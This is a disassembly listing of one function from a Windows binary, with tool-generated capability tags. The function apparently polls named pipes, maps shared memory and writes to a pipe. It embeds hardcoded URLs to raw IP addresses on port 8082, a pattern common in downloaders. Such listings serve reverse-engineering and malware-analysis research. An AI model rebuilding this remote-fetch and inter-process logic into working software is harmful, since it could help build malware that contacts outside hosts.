Function at 0x100011e0
Capabilities:
Print debug messages
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10031423
mov eax, dword fs:[0]
push eax
sub esp, 0x88
mov eax, dword [0x1003cb10]
xor eax, esp
mov dword [esp + 0x80], eax
push ebx
push esi
push edi
mov eax, dword [0x1003cb10]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0xa0], ebx
mov edi, 0xf
mov dword [esp + 0x68], edi
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
mov byte [esp + 0xa0], 1
push 0x77
push str.http:__117.41.184.203:8082_softname.loghttp:__117.41.182.160:8082_softname.loghttp:__117.41.186.243:8082_softname.log
lea ecx, [esp + 0x74]
mov dword [esp + 0x18], 1
mov dword [esp + 0x8c], edi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
call fcn.10002570
sub esp, 0x1c
mov byte [esp + 0xbc], 2
mov ecx, esp
mov dword [esp + 0x38], esp
push 7
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push 0x10035f88
mov byte [ecx + 4], bl
call fcn.10002570
lea eax, [esp + 0x40]
push eax
call fcn.100059a0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x5c]
mov byte [esp + 0xac], 3
call fcn.100022b0
mov byte [esp + 0xa0], 2
cmp dword [esp + 0x3c], 0x10
jb 0x100012dd
mov ecx, dword [esp + 0x28]
push ecx
call fcn.1000a6ea
add esp, 4
push 0x1003600c
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
cmp eax, ebx
je 0x100012fb
push ebx
push ebx
push ebx
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0xc
call fcn.1000a6ba
add esp, 4
cmp eax, ebx
je 0x10001319
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax], vtable.CPostMess.0
mov esi, eax
jmp 0x1000131b
xor esi, esi
mov eax, 1
call fcn.10003fc0
jmp 0x10001330
push 0xffffffffffffffff
push 0x10035f90
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
cmp eax, ebx
jne 0x100013d2
push str.WiatNamedPipe_name__PipeRead_is_OK
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x74]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.100022b0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0xffffffffffffffff
mov byte [esp + 0xdc], 4
push ebx
lea eax, [esp + 0xac]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.100022b0
mov byte [esp + 0xd8], 2
call fcn.10001870
cmp eax, ebx
je 0x100013e8
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x74]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.100022b0
call fcn.10001b00
cmp eax, ebx
je 0x100013e8
mov eax, dword [esp + 0x10]
imul eax, eax, 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001330
mov esi, dword [esp + 0x14]
mov ecx, esi
call fcn.10001530
cmp eax, ebx
je 0x100013d2
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push ecx
call fcn.10005660
lea edx, [esp + 0x40]
push edx
call fcn.100059a0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x5c]
mov byte [esp + 0xac], 5
call fcn.100022b0
mov byte [esp + 0xa0], 2
cmp dword [esp + 0x3c], 0x10
jb 0x10001441
mov eax, dword [esp + 0x28]
push eax
call fcn.1000a6ea
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x74]
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.100022b0
push esi
call fcn.10001f20
cmp al, bl
je 0x100013d2
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0xffffffffffffffff
push 0x10035fd4
call edi
test eax, eax
jne 0x100014a4
mov edi, edi
push 0x3e8
call esi
push 0xffffffffffffffff
push 0x10035fd4
call edi
test eax, eax
je 0x10001490
mov eax, dword [esp + 0x10]
push ebx
push 0x80
push 3
push ebx
push ebx
push 0xc0000000
lea eax, [eax + eax*2]
push 0x10035fd4
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x14]
mov esi, eax
mov dword [ecx + 0x14], esi
mov edx, dword [0x10035ff4]
mov ax, word [0x10035ff8]
lea ecx, [esp + 0x88]
mov dword [esp + 0x88], edx
mov word [esp + 0x8c], ax
lea edi, [ecx + 1]
mov al, byte [ecx]
add ecx, 1
cmp al, bl
jne 0x100014f7
push ebx
lea edx, [esp + 0x24]
push edx
sub ecx, edi
push ecx
lea eax, [esp + 0x94]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x14]
mov edx, dword [ecx + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0xf
jmp 0x100013d2